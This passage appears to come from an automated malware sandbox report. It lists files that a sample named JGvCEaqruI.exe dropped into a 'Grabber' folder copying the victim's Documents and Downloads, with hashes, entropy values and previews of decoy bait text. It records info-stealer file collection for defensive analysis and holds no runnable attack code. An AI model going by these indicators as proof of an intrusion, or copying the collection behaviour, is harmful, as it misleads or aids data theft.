Preview:	DQOFHVHTMGONGZJMTUDJRBBZMRPVREMYHKGEHFUQYXZCSKHYXSDQYNTHYMAXXVSVAUOGMFIYPDCQLTHSECIYLWTRIBFEAYHUXINIFQBTJDZMINEEJPQYKGEESHWZILKBYECTPQSECVJBFSZOCCSNOVPIAHSFZWVXPNEQGUOXWPBXJRUYFARJLNHPVXAJZAMAADRKIWNDXYEBYMEBSXOJGEOURNOIBBLONDSVHAOQHPMGXZYJJTGITBJPQEBNXGZYUKARGBCVCJUHSRNNEVOIGUVCJVMNFBKNVZYQADNKMLUVPOTXVOQFRBXUSSRFMQEZCJFQXKCGKGKCVGGVBKNPTNSSMADFJLSDMVXHSOETKCENTGLOVOHUYJFTIWFHKFJRYNOXVIGPLHNBFPFOCWMNOQXWIPYAHPKRVTBFYKRBDVDUAZBSLWPPMXJXDVRCRPKOGCUKNZKBLJGIGZASUAZBLZBMGJSBNQSVTMGEWGLMNJKCSBEAGDUINAXDWMHJASNQRRDMKVXOKATATHRLEOJRPCUOAVQIESHZYWIQCSCAPIAJHBTEIYVRFEDCQDCDIYPMQVBWUEHDPIDAGKYZBMLBDUTEIFYLBSHAWEMNTPQDCSTOWSBZWQEBLVBNUWKZFUDMPBKETDOEOIXRFTDUFIBPBSUHXQTCPRPZAKDTRWMGSAVOZBNDDMDIHBSGIPOMYLKSGKUWRGKNXSOLUZDUZYQFQTKMNWLSYKVAQVIHJTFYNRTERQMIRVMLNWEIMHPIWEWIZJJRGOCBVHFGCSCPAIQYTEMYIQJKVUFAZERTMPUQSRHOZHOYABIALCSKDKHEDHJGKBYVCDZGPYPCLDCEFHWFMLSBOUUGKJFXSVKJVYVTSMIZISSWNRRWBNOMXZCOJAULXRXTNHTYWTZNFOKXVGZMTRVOSMSRMYBHKSHRCPZSSMDBJOTQQRGYIHEMZHHSWECVAOPVNLGBYHZVZPLQHOTCJNPUXICWZBLKAQFGUZPW

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\UNKRLCVOHV\HMPPSXQPQV.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
SHA-256:	1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
SHA-512:	3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
Malicious:	false
Preview:	HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\UNKRLCVOHV\HQJBRDYKDE.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.691179545447335
Encrypted:	false
SSDEEP:	24:tlYQ6oxCx5XYY3KvUEOIA65F7dAeIQGhrMerXo:rxy5avIgDIQQrMQXo
MD5:	70ED9F89ADEE0C43C2C82F30F075991E
SHA1:	0E75067F3EEBF7D577813A06A0A6A2FA9640A04F
SHA-256:	4CCB14AF416B302962BC020D9E436FCA0B32B56F37932B2CA7D078355282CF80
SHA-512:	A75A2B3BE722735CE45B93CB1522F31D884BA8BE30A122BFCE7E50720773B0B5B48F163BB9FF0239015430BEADD61DAD76F13EA6CC027C5A4AB4B842EED468CB
Malicious:	false
Preview:	HQJBRDYKDEOHXEMHQUWMHZKQTIUMQUJZQSHSNBAZYZJDQYWUPMZFOTGKPEFSZCMKVLFONSCAAMYVGLIHZYOTOPUUVQOBDOLNPVUWURWNEXALCBEMRUAMWIVXUEMKBDPTQDMNCZDHIBPXPQNVVBSEAMAZGUFIOXJXUMQDPOKVVJUQBWZVZRBRPTZPVEJYLPIYMEAMWWDBNMSHJABGSBWULRADLUGOSJMUMMAMATXWORDUBFFRKPJOGISDLVVWVEVKTCLPSYFZVEZUCAYZDFGQESZIGEIJSPECVLABTLKSYGZSZGOCSOVUTVVPDTKMXTQIDAXVAJZEADSIEJVOWEHIMAOXMXIYKZIBMQKEOKXDOHFZWHLAGEWJECAZGRNZINNBMFSXKSHESCTAUQMEPBTLUPWEJFSFLHXHTECHZUUDFJOGDDWIRGOWPPKFZEUJYTJMHKZKHJNTGRKLLEAGPHTTOOTTMGEBMEHXZJPZXSVAQMYTVIDQEYRXIAPROXUHUUXYGMHCRUUYFQOWDUPJKUNGSADHWGBZUQMPTWLBUXNFUJGXUJHMMUUHZIKPUPRZVXNDGTJDDXIMANOVZFNWWEHJHXRQXSYDNXTPEXJZNKPPCJBVRMLFMRIEWFPGJGVBHZKCGUUQFRCXDGAPMAVRPRODGVOWMFUTKARIMTYBKFAHZMPYXRSLUFTYOWQDSLXVKMYYISNNZDBQEVANDLZJURRLNHZBMEVGPOIXUCEKJTTUZSEQSNPEEYVXCUAWHUWEFITOITMDHBLUWCIANEGYREWEOVBZRHQTHBYYPFCKKGLXQPBHRRMJUHMZXPSZSYQISKTCKOCWTTRZHBQSMTMNCYCQKIGYNDYWGUIVILQUURMKJKQBBDUZOINKPJRQEGWTTZOFXCCZXUCHKCWUSBTKAOSTDEHMZTFHPRMNWUWUKXNTZRKJRQLXXQCEGZPAHKOBVMNQQIYGWKFTHIVTFKISEBNGTEJIXPIRDTAGJZNJKNLM

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\UNKRLCVOHV\UNKRLCVOHV.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\UNKRLCVOHV\WSHEJMDVQC.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694142261581685
Encrypted:	false
SSDEEP:	24:f9GDi2EYjkpBrLp83PYbuFr5oKIQppDgX+qrctnWyd3z+g8BHGZ:yEYjkpZYwS/oKIuA+qriTjEBHe
MD5:	E9AA17F314E072EBB015265FB63E77C0
SHA1:	1233B76350B8181FFFC438B62002C02B4AE79000
SHA-256:	F66078FCFEC2D71549136CC8B5B4EE7D33C4994E0A4E3E7C11F5ADCD819D0436
SHA-512:	719E659924CE585E4DD8CEA9BC6B5371AD810999022F874F380F50C7153D3AE97CC934E3173EF06573CAEE6CBC835A668C4D7DC2ADE597B1B0D200FCBAC67DA1
Malicious:	false
Preview:	WSHEJMDVQCWJPIIWMEHEPOBRYLOZOHFMDEEYYASRZPHJZGFNCKWIQSPBUMWBCKDMTEBFINALYAFGJUQXINNGDKSDBFBQLHYZRLLDJYSVNXVIEPIYHZGOTARYUNPFNZVRVVWIOWWFIFWCHVVHXNGKFNRNLVVSOPOMGZCDQUWJFARKTCAVVDPTCPNIDLRGSLNKZTVRAJAILYGDVIAAGIVKXRCRTRZJPKATKZAWRJTPVLTDNBDIRDWCCHBTEVEGYPYDTGSMLUDQXMQCAVHLYMRKPCVHQHMGNCGBZKOUKCCBHQPSIYIJGDVOYJJJRQLDKNVUEXDKCTANSMCHJUBIODALXWUAFPSECIRPCAEPPBACCLXBZAEDKJHLGOICLSKBQEGFCVDQOFKKAJPCTRIXBNPUDXKHSSXTDTQZSFEWHTHKFNJWHOEXGCYSYWIHFSMYJIYEESDQFMESLFQFBUJNXHWFNXIDWEUDMVGFDXPTRRRNPARVUGZAYZRHNTXHZAPBLWMHFSSHMXCYMAGONQNLTCAVPZPCAKJRMGEPDIFETDNSXWPDVMAZGTTCLNRREMVTBLOGKASYOATUDXLJKIYPPDNLZIZMWWFFDVMUFCTZZOFJORNAMGQBAFGCPTDCZBKTIGYDSCSPMIEXAMGICZNTFVNRPLGPMBXJHNCQSYNMGGPKIQJNDBDUBVIVXFILKXZXHODXZAYIDEIMZZMKQNQNBCCMZNFBKSYULDGKOMQZDUQMUVTBBTUTRZMIOZGDEUPHCDKJQDSGBXYNWPWTHYVLGGYNOBJJKAZSTKJSBCHVCLGWYHCNILYSCYCHTGYOGMNGWDZAVDCOVKWJPWVNTTKFTSHAAXLYUEWEVGETFCFTLKWTQCVAMBWYOYJVXNPSSWXJXUZDXJOZNTBLIZLLJQXYNILILMHHONBPAPFMVWEMHIHAGMOXTIBNNEBGCVSZEZTMJVDXSVACSKTAVTFOOSEHZQGTOUSCIQBVIWZGABQNZGJE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\VWDFPKGDUF.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\VWDFPKGDUF.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\WSHEJMDVQC.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694142261581685
Encrypted:	false
SSDEEP:	24:f9GDi2EYjkpBrLp83PYbuFr5oKIQppDgX+qrctnWyd3z+g8BHGZ:yEYjkpZYwS/oKIuA+qriTjEBHe
MD5:	E9AA17F314E072EBB015265FB63E77C0
SHA1:	1233B76350B8181FFFC438B62002C02B4AE79000
SHA-256:	F66078FCFEC2D71549136CC8B5B4EE7D33C4994E0A4E3E7C11F5ADCD819D0436
SHA-512:	719E659924CE585E4DD8CEA9BC6B5371AD810999022F874F380F50C7153D3AE97CC934E3173EF06573CAEE6CBC835A668C4D7DC2ADE597B1B0D200FCBAC67DA1
Malicious:	false
Preview:	WSHEJMDVQCWJPIIWMEHEPOBRYLOZOHFMDEEYYASRZPHJZGFNCKWIQSPBUMWBCKDMTEBFINALYAFGJUQXINNGDKSDBFBQLHYZRLLDJYSVNXVIEPIYHZGOTARYUNPFNZVRVVWIOWWFIFWCHVVHXNGKFNRNLVVSOPOMGZCDQUWJFARKTCAVVDPTCPNIDLRGSLNKZTVRAJAILYGDVIAAGIVKXRCRTRZJPKATKZAWRJTPVLTDNBDIRDWCCHBTEVEGYPYDTGSMLUDQXMQCAVHLYMRKPCVHQHMGNCGBZKOUKCCBHQPSIYIJGDVOYJJJRQLDKNVUEXDKCTANSMCHJUBIODALXWUAFPSECIRPCAEPPBACCLXBZAEDKJHLGOICLSKBQEGFCVDQOFKKAJPCTRIXBNPUDXKHSSXTDTQZSFEWHTHKFNJWHOEXGCYSYWIHFSMYJIYEESDQFMESLFQFBUJNXHWFNXIDWEUDMVGFDXPTRRRNPARVUGZAYZRHNTXHZAPBLWMHFSSHMXCYMAGONQNLTCAVPZPCAKJRMGEPDIFETDNSXWPDVMAZGTTCLNRREMVTBLOGKASYOATUDXLJKIYPPDNLZIZMWWFFDVMUFCTZZOFJORNAMGQBAFGCPTDCZBKTIGYDSCSPMIEXAMGICZNTFVNRPLGPMBXJHNCQSYNMGGPKIQJNDBDUBVIVXFILKXZXHODXZAYIDEIMZZMKQNQNBCCMZNFBKSYULDGKOMQZDUQMUVTBBTUTRZMIOZGDEUPHCDKJQDSGBXYNWPWTHYVLGGYNOBJJKAZSTKJSBCHVCLGWYHCNILYSCYCHTGYOGMNGWDZAVDCOVKWJPWVNTTKFTSHAAXLYUEWEVGETFCFTLKWTQCVAMBWYOYJVXNPSSWXJXUZDXJOZNTBLIZLLJQXYNILILMHHONBPAPFMVWEMHIHAGMOXTIBNNEBGCVSZEZTMJVDXSVACSKTAVTFOOSEHZQGTOUSCIQBVIWZGABQNZGJE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\desktop.ini

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	3.493087299556618
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmUclLwr2FlDmo0IWF9klrgl2FlDmo0qjKAev:QCGwv4o0hlLwiF4o0UUsF4o01AM
MD5:	ECF88F261853FE08D58E2E903220DA14
SHA1:	F72807A9E081906654AE196605E681D5938A2E6C
SHA-256:	CAFEC240D998E4B6E92AD1329CD417E8E9CBD73157488889FD93A542DE4A4844
SHA-512:	82C1C3DD163FBF7111C7EF5043B009DAFC320C0C5E088DEC16C835352C5FFB7D03C5829F65A9FF1DC357BAE97E8D2F9C3FC1E531FE193E84811FB8C62888A36B
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.2.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.5.....

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\CZQKSDDMWR.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700739677288544
Encrypted:	false
SSDEEP:	24:ppydEKvTSBiqFHi8v+wyNV+fxloGJjN3y5j1xTEC3ugbIvso8wFjas:rmEKvMiYC8Wwyr88GFAH/UvsuZl
MD5:	57582F5B6AE65D8DFCBD4A26382C6138
SHA1:	DC27AD5E54D1BDCCA4EC0D54ED1FB5A3235E9842
SHA-256:	7918D6E76741E42934BB32547E2D7EA395304AEA3383C0E6B7FCF82ACE125749
SHA-512:	6D75F68E608CB12378605F06C74F2F0414486072CC25961A1EA421B94EA5827F92110B902C2190E04AAE2D79152B0AB9B5B1ACECDCAAADD93A6F25028DD1E060
Malicious:	false
Preview:	CZQKSDDMWRVXFLQDZCLIIZCHKUTASMCLXARWUFPBFEESBCKPMBKHTZOAVUSGWGQBPZXNCLVHGKNWOAOTOSOFYOKUZEGHVYFBBGTMFWOOTOTSLTKZBTPTBZMUKYOSGWCRRYGDZWOEMUMCRRCZIEIYJAYGXMDKNOLEIKRXPEZKZGIXGYJYIBDXPZGYVGHMUCSHXXAYXQQNWIVOLMGKTXTGEAEKAOKQQSCTUWFEFQMLQUREMQDBYWFEQOMAJXVXIMMKWJJFKSSTMQZNWPBIQBZROXFYPWCYBVRMKUOGMEJJHYTWCOZYZXVANCHSTYZHRBVSORLGLSOWPDGEBVMQLDWKSLQFPEZDXWPZYNPSNTKGPNKUHFMAEGDWSDLCDNYFQZWURNIMQZDJNJPPOXINSGMUVHRDBWXOXDRPWKGITAKUVBIDIBIWIIANONNQUMKNATQWTVSOUCLOFKCCAISNABSKDPLNCYIQIFQMVEHZLIAFYDDSJJTQSUEVQKACGQHHXCYTZJABESDNXLIPGYKWXJZQWYJMSZUZHKYCGKQIKCYIWZOHAVHKCRNACDVNLPEXUPOQVKBGVFKCQDKJPNALRMAYMZRBAGMTICYZEFMXXYLDXTMKSZLDKSKSRQTDUDGFZXFQEHEDXVFBYBNEOVKFLNIRSTGZDIJXNRZEZFJHNPZDGPGECJTHNVMTSURANVWOVRBTYGZGIPOXWTRIHNKWFKCTXVVKOFHISZVHNVVRXJGJEZEJDSCKNIDUQYQWFNDXBQQJAYENVZXKXVUERYEPFEGNWBAJHHQSAFTHXGXMHUHJVQEYGVKPBTQMWUEZMBBSFENGBBVZIYHLXFRDPALQUURINJMTQGTPGJRGIWXIXWOPVDTWDBDNJJVXOPMTWAGMWQFUPMRROBBTRTOQBMZKPGWTYPWAVOKTSPLMOWJJDVZIIDATCEGNLHPVRONAQJFLFUZXJVRXMCGQNRKTYBRGRMKBPVPQSPFOIOHXGEGDHOJP

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Downloads\DQOFHVHTMG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702862417860716
Encrypted:	false
SSDEEP:	24:JCmIDeBF63lGj/+QvH8n8JCl7odrVgKqBP68iz:4QQQvHFrTqBPXiz
MD5:	CC0686FCDF6617729D1EDF30F49501F1
SHA1:	02D629848E3D467D8143B057F003E0D7448126CD
SHA-256:	31E15305BC0579F03C51A1D6534B332F32C73ABC6D1B68BA0BDA6FCF97F593C9
SHA-512:	8BD18EB486BA6D2799329D9A8EFB3F52C3D109F5CB070290418DDE4B58756CD023857E4CAE62323C530FA0D3A60372C97D9744C1911A688D3592EABD14005F25
Malicious:	false
Preview:	DQOFHVHTMGONGZJMTUDJRBBZMRPVREMYHKGEHFUQYXZCSKHYXSDQYNTHYMAXXVSVAUOGMFIYPDCQLTHSECIYLWTRIBFEAYHUXINIFQBTJDZMINEEJPQYKGEESHWZILKBYECTPQSECVJBFSZOCCSNOVPIAHSFZWVXPNEQGUOXWPBXJRUYFARJLNHPVXAJZAMAADRKIWNDXYEBYMEBSXOJGEOURNOIBBLONDSVHAOQHPMGXZYJJTGITBJPQEBNXGZYUKARGBCVCJUHSRNNEVOIGUVCJVMNFBKNVZYQADNKMLUVPOTXVOQFRBXUSSRFMQEZCJFQXKCGKGKCVGGVBKNPTNSSMADFJLSDMVXHSOETKCENTGLOVOHUYJFTIWFHKFJRYNOXVIGPLHNBFPFOCWMNOQXWIPYAHPKRVTBFYKRBDVDUAZBSLWPPMXJXDVRCRPKOGCUKNZKBLJGIGZASUAZBLZBMGJSBNQSVTMGEWGLMNJKCSBEAGDUINAXDWMHJASNQRRDMKVXOKATATHRLEOJRPCUOAVQIESHZYWIQCSCAPIAJHBTEIYVRFEDCQDCDIYPMQVBWUEHDPIDAGKYZBMLBDUTEIFYLBSHAWEMNTPQDCSTOWSBZWQEBLVBNUWKZFUDMPBKETDOEOIXRFTDUFIBPBSUHXQTCPRPZAKDTRWMGSAVOZBNDDMDIHBSGIPOMYLKSGKUWRGKNXSOLUZDUZYQFQTKMNWLSYKVAQVIHJTFYNRTERQMIRVMLNWEIMHPIWEWIZJJRGOCBVHFGCSCPAIQYTEMYIQJKVUFAZERTMPUQSRHOZHOYABIALCSKDKHEDHJGKBYVCDZGPYPCLDCEFHWFMLSBOUUGKJFXSVKJVYVTSMIZISSWNRRWBNOMXZCOJAULXRXTNHTYWTZNFOKXVGZMTRVOSMSRMYBHKSHRCPZSSMDBJOTQQRGYIHEMZHHSWECVAOPVNLGB